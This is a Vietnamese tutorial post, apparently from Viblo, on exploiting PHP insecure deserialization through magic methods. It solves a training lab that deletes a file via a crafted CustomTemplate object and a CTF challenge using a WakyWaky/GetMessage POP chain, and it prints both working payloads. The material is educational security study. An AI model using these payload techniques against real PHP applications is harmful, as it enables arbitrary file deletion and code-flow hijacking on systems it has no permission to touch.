+4

Insecure deserialization vulnerability - Các lỗ hổng Insecure deserialization (phần 3)

II. Lỗ hổng deserialization trong ngôn ngữ PHP (tiếp)

4. Khai thác lỗ hổng deserialization với các magic methods trong PHP - Ví dụ 1

Ở phần trước chúng ta đã tìm hiểu về khái niệm, công dụng của một số magic methods trong PHP. Để tận dụng được chúng đòi hỏi kẻ tấn công cần hiểu về luồng hoạt động của mã nguồn ứng dụng, thêm phần tư duy nhạy bén mới có thể kết hợp khéo léo từng thành phần methods. Trong bài viết tôi sẽ cố gắng cùng bạn đọc phân tích kỹ một vài ví dụ điển hình nhằm giúp bạn đọc có thể hình dung được quá trình payload được xây dựng trong dạng lỗ hổng này.

Phân tích bài lab Arbitrary object injection in PHP.

Sau khi đăng nhập, nhận thấy ứng dụng sử dụng serialization trong session:

image.png

image.png

Quan sát mã nguồn front-end, ứng dụng đã để lộ đường dẫn tới tệp tin CustomTemplate.php, nhưng không thể truy cập:

image.png

image.png

Tuy nhiên file backup CustomTemplate.php~ chưa bị xóa nên chúng ta có thể đọc được nội dung file:

image.png

Như vậy chúng ta có thông tin về lớp CustomTemplate của ứng dụng. Chú ý phương thức __destruct() của lớp này:

function __destruct() {
    // Carlos thought this would be a good idea
    if (file_exists($this->lock_file_path)) {
        unlink($this->lock_file_path);
    }
}

Đọc hiểu luồng hoạt động của phương thức: Nếu tồn tại tệp tin có đường dẫn $this->lock_file_path sẽ thực hiện hàm unlink() xóa tệp tin này. Ý tưởng đã khá rõ ràng, nếu kẻ tấn công có thể lợi dụng quá trình deserialization của ứng dụng nhằm xóa bất kỳ tệp tin nào trong hệ thống nếu họ biết chính xác đường dẫn.

Xây dựng script tạo payload xóa tệp tin /home/carlos/morale.txt do bài lab yêu cầu:

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path = "/home/carlos/morale.txt";    
}

$payload = new CustomTemplate();
echo urlencode(base64_encode(serialize($payload)));
// TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzQ6IgBDdXN0b21UZW1wbGF0ZQB0ZW1wbGF0ZV9maWxlX3BhdGgiO047czozMDoiAEN1c3RvbVRlbXBsYXRlAGxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3D%3D

Thay payload trên vào session và gửi tới server, tuy response trả về status code 500500 nhưng hệ thống đã thực hiện deserialization session mới và tệp tin /home/carlos/morale.txt đã bị xóa, bài lab hoàn thành:

image.png

5. Khai thác lỗ hổng deserialization với các magic methods trong PHP - Ví dụ 2

Một ví dụ tiếp theo được tôi lựa chọn là một challenge CTF về khai thác lỗ hổng deserialization có độ khó cao hơn. Bạn đọc có thể tự thử sức trước khi theo dõi phần phân tích phía dưới PHP - Unserialize Pop Chain.

Challenge cho phép người dùng submit chuỗi văn bản qua ô input.

image.png

Từ source code được cung cấp, nhận thấy rằng trang web tiến hành deserialize chuỗi input chúng ta submit:

if (isset($_POST["data"]) && !empty($_POST["data"])) {
    unserialize($_POST["data"]);
}

Ngoài ra có hai lớp GetMessage(), WakyWaky() cùng với biến $getflag mang giá trị false. Lần lượt phân tích thành phần của từng lớp.

class GetMessage {
    function __construct($receive) {
        if ($receive === "HelloBooooooy") {
            die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
        } else {
            $this->receive = $receive;
        }
    }

    function __toString() {
        return $this->receive;
    }

    function __destruct() {
        global $getflag;
        if ($this->receive !== "HelloBooooooy") {
            die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
        } else {
            if ($getflag) {
                include("flag.php");
                echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG."<br>";
            }
        }
    }
}

Lớp GetMessage():

  • Phương thức khởi tạo __construct() làm việc với thuộc tính $receive. Nếu $receive có giá trị HelloBooooooy sẽ in thông báo ra màn hình với hàm die(), kết thúc script đang chạy. Ngược lại, gán giá trị $this->receive = $receive.
  • Phương thức __toString() trả về $this->receive khi đối tượng thuộc lớp này được thực thi với vai trò là string.
  • Phương thức __destruct() tiếp tục kiểm tra biến $receive, nếu giá trị khác HelloBooooooy sẽ in thông báo ra màn hình với hàm die(), kết thúc script đang chạy. Ngược lại, kiểm tra điều kiện nếu $getflagtrue sẽ in ra thông báo kèm theo flag của challenge.

Từ đây chúng ta nhận thấy để lấy được flag thì các điều kiện sau cần đồng thời thỏa mãn:

  • Điều kiện 11: Đối tượng thuộc lớp GetMessage() tại thời điểm khởi tạo có thuộc tính receive khác HelloBooooooy.
  • Điều kiện 22: Tại thời điểm thực hiện phương thức __destruct(), thuộc tính receive có giá trị bằng HelloBooooooy.
  • Điều kiện 33: Tại thời điểm thực hiện phương thức __destruct(), biến $getflag có giá trị true.

Ngoài ra chúng ta có thêm lớp WakyWaky():

class WakyWaky {
    function __wakeup() {
        echo "[YOU]: ".$this->msg."<br>";
    }

    function __toString() {
        global $getflag;
        $getflag = true;
        return (new GetMessage($this->msg))->receive;
    }
}

Trong lớp WakyWaky():

  • Phương thức __wakeup() được gọi khi thực thi hàm unserialize().
  • Phương thức __toString() được gọi khi đối tượng thuộc lớp WakyWaky() được thực thi với vai trò là string. Chú ý rằng phương thức này đổi giá trị $getflag thành true, giá trị trả về (new GetMessage($this->msg))->receive khai báo một đối tượng mới thuộc lớp GetMessage() có thuộc tính receive nhận giá trị $this->msg (của đối tượng thuộc lớp WakyWaky() đang thực thi phương thức toString()), cuối cùng trả về chính thuộc tính receive này. (Bạn đọc có thể hiểu đơn giản là trả về $this->msg)

Từ các phân tích phía trên, chúng ta cùng lần lượt giải quyết các điều kiện.

Điều kiện 11 giải quyết đơn giản:

$a = new GetMessage("viblo");

Điều kiện 22 được thỏa mãn nếu sau khi thực hiện phương thức __construct(), thuộc tính receive nhận giá trị HelloBooooooy, chúng ta chỉ cần định nghĩa lại giá trị này sau khi khởi tạo đối tượng:

$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";

Lúc này, với payload $payload = serialize($a), khi server thực hiện deserialize thì luồng code trong phương thức __destruct() thuộc lớp GetMessage() sẽ rẽ vào nhánh else. Bạn đọc có thể thực hiện debug với đoạn code (coi đây là sự kiện 11):

$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
$payload = serialize($a);
unserialize($payload);

Cuối cùng cần tìm cách để điều kiện 33 được thỏa mãn, như vậy cần gọi phương thức __toString() thuộc lớp WakyWaky(). Đầu tiên, khai báo một đối tượng mới và đối tượng này cần được thực thi với vai trò là string (coi đây là sự kiện 22):

$b = new WakyWaky();
echo $b;

Đến đây, chúng ta cần tìm cách "nối" hai sự kiện trên với nhau, để khi server thực hiện deserialization, sự kiện 22 xảy ra và dẫn đến sự kiện 11. Mấu chốt để thực hiện được phép "nối" này chính là giá trị trả về trong phương thức __toString() thuộc lớp WakyWaky() vì khởi tạo một đối tượng mới thuộc lớp GetMessage(). Do vậy chúng ta có thể gán đối tượng $a vào thuộc tính msg của đối tượng $b, để server deserialize đối tượng $b.

$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";

$b = new WakyWaky();
$b->msg = $a;
echo $b;

$payload = serialize($b);
unserialize($payload);

Đến đây, còn một vấn đề chúng ta cần xử lý, đó là server không thể "tự động" thực hiện echo $b; trước khi deserialize được. Nên chúng ta cần tìm cách kích hoạt công việc "thực thi $b như string" một cách tự động. Giải quyết bằng cách tạo thêm một đối tượng mới thuộc lớp WakyWaky() và gán giá trị $b vào thuộc tính msg của đối tượng mới (tận dụng phương thức __wakeup())

$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";

$b = new WakyWaky();
$b->msg = $a;

$c = new WakyWaky();
$c->msg = $b;

$payload = serialize($c);
// echo $payload;
unserialize($payload);

Thu được payload: O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}}

Kết quả:

image.png

Luồng code hoạt động tại server như sau:

  • Thực hiện deserialize đối tượng $payload, gọi phương thức __wakeup() thuộc lớp WakyWaky() xử lý $c->msg ở dạng chuỗi (lúc này là $b).
  • Đối tượng $b được xử lý như dạng chuỗi nên gọi phương thức __toString thuộc lớp WakyWaky(), đổi giá trị global $getflag=true, trả về (new GetMessage($this->msg))->receive.
  • (new GetMessage($this->msg))->receive khai báo một đối tượng mới (giả sử là $x) thuộc lớp GetMessage() với thuộc tính receive lúc này là $this->msg = $b->msg = $a, trả về $x->receive = $a.
  • Đối tượng $a được thực thi như string nên gọi phương thức __toString() thuộc lớp GetMessage(), trả về $this->receive = $a->receive = "HelloBooooooy". Từ đó in ra màn hình: [YOU]: HelloBooooooy
  • Đối tượng $x do không được sử dụng tới nên thực hiện tự hủy, gọi phương thức __destruct() in ra màn hình [FRIEND]: Hm.. you don't see to be the friend I was waiting for.. với hàm die() (do $x->receive !== "HelloBooooooy").
  • Hàm die() kết thúc script nên phương thức __destruct() của $a được gọi, do $a->receive === "HelloBooooooy"$getflag = true nên in ra dòng thông báo cuối cùng kèm flag của challenge này: [FRIEND]: Oh ! Hi! Let me show you my secret: uns3r14liz3_p0p_ch41n_r0cks

Bạn đọc có thể luyện tập thêm kỹ năng xây dựng payload này với bài lab Developing a custom gadget chain for PHP deserialization.

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí